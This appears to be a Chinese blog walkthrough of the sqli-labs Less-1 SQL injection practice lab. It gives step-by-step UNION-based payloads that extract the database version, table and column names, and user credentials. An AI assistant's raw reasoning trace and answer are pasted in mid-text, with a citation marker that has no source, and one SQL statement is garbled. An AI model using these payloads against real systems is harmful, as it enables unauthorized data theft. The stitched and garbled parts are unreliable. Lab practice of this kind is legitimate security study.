sqli-labs less-01

Less-1

提示 用 ID=数字做为输入参数
20210503221927
http://192.168.80.131/Less-1/?id=1

20210503222204

加个’测试。直接显示了 SQL 语法错误,说明这是一个注入点。
20210504060828
id 虽然输入为数值 这里看源码或尝试 id=1’ and 1=1 --+ 和 ’ and 1=2 --+ 结果不同
20210503222541

s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECTFROMusersWHEREid=id’ LIMIT 0,1";
20210504062513
20210504063600
20210504063540

20210504063806

先发现了注入点,接下来就是猜解字段.
最直接的方法就是希望通过我们输入语句能直接执行完整的语句,这样就省事.常见的方法是 union 联合查询.
但联合查询必须知道字段名或字段数. 字段名我们不知到,相对于爆破字段名,猜字段数更高效些.
id=1 'union select 1,2,3–+ 这里 select 个数代表字段个数。如果字段数正确会正常显示,
否则内部显示 The used SELECT statements have a different number of columns
20210504072846
20210504072957
当然也可以通过排序的函数order by 字段序列号 可以猜解出当前表有几个字段.再用于 union
目前我们通过尝试知道有 3 个字段.接下来我们需要知道有一个回显示位,分别是显示的些字段.
实际上有一个回显位就够

用 id=-1 代替 id=1 让 union 前的查询语句不出结果,让结果集第一行为 union 后的查询结果

id=-1’ union select 1,2,4–+
20210504072733
对于不知道数据类型的字段可用 null NULL 代替 如: id=-1’ union select null,null,null–+
20210504074416

mysql 不同版本一些细节也不同
MySQL 版本⼩于 4.0 时,不⽀持 union select 联合查询
MySQL 版本⼤于 5.0 时,有默认数据库 information_schema,保存了 Mysql 所有数据库的信息,如库名,表名,字段的名及数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

获取数据/信息
查当前数据库和数据库⽤户名
-1’ union select 1,database(),user() #
20210504075026
查当前的数据库版本和操作系统
-1’ union select 1,version(),@@version_compile_os–+
20210504075319
常规思路是闭合 数字型不用考虑闭合的问题。
字符型要考虑引号’或"的闭合 搜索型可能%的闭合 其他可能还存在); 等。
重上面步骤我们知道当前数据库为security;注意table_schema=为字符型要用’‘引起来,不然语法错误显示
查当前库的表名 (已知库名为security)
#-1’ union select 1, table_name,table_schema from information_schema.tables where table_schema= ‘security’ --+
-1’ union select 1,group_concat(table_name),table_schema from information_schema.tables where table_schema= ‘security’ --+

group_concat能将属于table_name表的表名组合到一行显示
20210504105531
查某表的列名 (已知表名为user)
-1’ union select 1, 2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
group_concat能将属于users表的列名组合到一行显示
20210504110058
查某表某列的值 (已知 表名users 列名username)
-1’ union select 1,group_concat(username),3 from users–+
-1’ union select 1,group_concat(username),password from users where username=‘admin’–+
20210504110820
mysql 注释的几种方法

#单行注释

–空格 MySQL单行注释方法二 常用+替换空格 --+ oracle的无空格

id=1‘ and (length (database()))>3–+

<think>好的,我现在需要处理用户关于sqli-labs Less 1的教程或解决方案的请求。首先,我得确认用户提到的sqli-labs是什么。sqli-libs是一个用于练习SQL注入攻击的实验平台,通常被安全研究人员和学习者用来测试和提升他们的技能。Less 1应该是指该平台的第一课,可能涉及基本的SQL注入技术。 接下来,我需要回忆或查找关于sqli-labs第一课的具体内容。通常,第一课可能是一个基于GET请求的字符型注入漏洞。用户可能需要知道如何利用这个漏洞,比如通过闭合引号、注释后续语句,然后使用UNION注入或其他方法获取数据库信息。 然后,我需要确保提供的解决方案步骤正确且详细。例如,确定注入点、测试闭合方式、使用ORDER BY确定列数,然后进行UNION查询获取数据库版本或表信息。同时,需要注意使用正确的语法,比如单引号闭合、注释符--+的使用,以及避免常见错误。 另外,用户可能还需要一些预防措施的建议,比如输入验证、参数化查询等,所以最后要包括防御方法。同时,根据用户之前的指示,生成相关问题,帮助用户进一步学习相关知识。 还要检查是否有站内引用需要添加,但根据用户提供的信息,目前没有具体的引用来源,所以可能需要忽略引用标识或假设某些引用。但根据用户示例,可能需要在某些步骤末尾添加引用标记,比如[^1],但需要确认是否有实际引用来源可用。如果没有的话,可能不需要添加,或者需要用户提供更多资料。 最后,确保回答使用中文,行内公式用$...$,独立公式用$$...$$,但在这个主题中可能用不到数学公式,所以可能可以忽略。但需要保持LaTeX语法正确,如果有变量或代码的话。代码部分需要用代码块包裹,如示例中的Python代码,但这里可能涉及SQL语句,所以需要用SQL的代码块。 总结步骤: 1. 介绍Less 1的基本情况。 2. 详细说明解决方案步骤,包括测试注入点、闭合引号、确定列数、执行UNION注入获取信息。 3. 提供防御建议。 4. 生成相关问题,如其他注入类型、工具使用、预防措施等。 5. 确保格式正确,代码块使用正确语言标记,如SQL。</think>[用户可见层] ### sqli-labs Less 1 解决方案 sqli-labs Less 1 是一个基于GET请求的单引号字符型SQL注入漏洞练习。以下是分步解决方案: #### 1. **确定注入点** 输入参数`id`存在漏洞,尝试添加单引号触发错误: ```sql http://example.com/sqli-labs/Less-1/?id=1' ``` 若返回SQL语法错误(如`You have an error in your SQL syntax`),则确认存在注入。 #### 2. **闭合引号并注释后续语句** 通过闭合单引号并使用注释符`--+`绕过: ```sql http://example.com/sqli-labs/Less-1/?id=1' --+ ``` 此时SQL语句变为: $$SELECT * FROM users WHERE id='1' --+' LIMIT 0,1$$ 注释符`--+`会忽略后续的`LIMIT`语句。 #### 3. **确定列数** 通过`ORDER BY`判断查询结果的列数: ```sql http://example.com/sqli-labs/Less-1/?id=1' ORDER BY 3 --+ ``` 若页面正常返回,说明查询结果有3列;若报错则减少列数重试。 #### 4. **UNION注入获取数据** 利用`UNION SELECT`联合查询获取数据库信息: ```sql http://example.com/sqli-labs/Less-1/?id=-1' UNION SELECT 1,2,3 --+ ``` 页面会显示`2`和`3`的位置可用于回显数据。 **示例:获取数据库版本和当前数据库名** ```sql http://example.com/sqli-labs/Less-1/?id=-1' UNION SELECT 1,version(),database() --+ ``` 回显结果类似: ``` 2: 10.3.32-MariaDB 3: security ``` #### 5. **进一步提取表名和字段名** 从`information_schema`中提取信息: ```sql http://example.com/sqli-labs/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+ ``` 回显当前数据库的表名(如`emails,users`),再通过类似方法获取字段名。 --- ### 防御建议 1. **使用参数化查询**(如PDO预处理语句)避免拼接SQL[^1]。 2. **对输入进行严格过滤**,例如仅允许数字类型的`id`参数。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zack_snair

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值